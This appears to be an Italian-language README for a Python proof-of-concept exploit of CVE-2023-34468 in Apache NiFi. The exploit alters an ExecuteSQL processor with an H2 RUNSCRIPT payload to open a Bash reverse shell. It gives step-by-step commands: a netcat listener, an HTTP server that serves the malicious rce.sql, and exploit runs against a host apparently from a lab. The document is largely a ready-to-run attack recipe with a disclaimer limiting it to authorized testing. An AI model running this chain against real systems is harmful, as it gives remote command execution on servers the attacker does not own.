
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
Breve PoC in Python per abusare di un processore Apache NiFi ExecuteSQL modificabile con un payload H2 RUNSCRIPT per innescare l'esecuzione remota di comandi tramite una reverse shell Bash.
Solo per test autorizzati e finalità di ricerca. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id manualmente.rce.sql che definisce e richiama un alias di esecuzione della shell basato su Java.nc e un server HTTP.rce.sql tramite H2 RUNSCRIPT.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Terminale 1:
rlwrap nc -lvnp 4444
Terminale 2, dalla directory di questo repository:
python3 -m http.server 8000
Terminale 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
Per la selezione manuale del processore:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| Prodotto | Versione interessata | Accesso richiesto | Impatto |
|---|---|---|---|
| Apache NiFi | Deployment interessati da CVE-2023-34468 con comportamento ExecuteSQL/H2 modificabile | Possibilità di raggiungere e modificare il processore NiFi di destinazione tramite l'API | Esecuzione remota di comandi |
rce.sql generato viene ignorato da git e deve essere servito dalla directory del repository con python3 -m http.server.--processor-id.ozcanpng — github.com/ozcanpng — ozcanpng.dev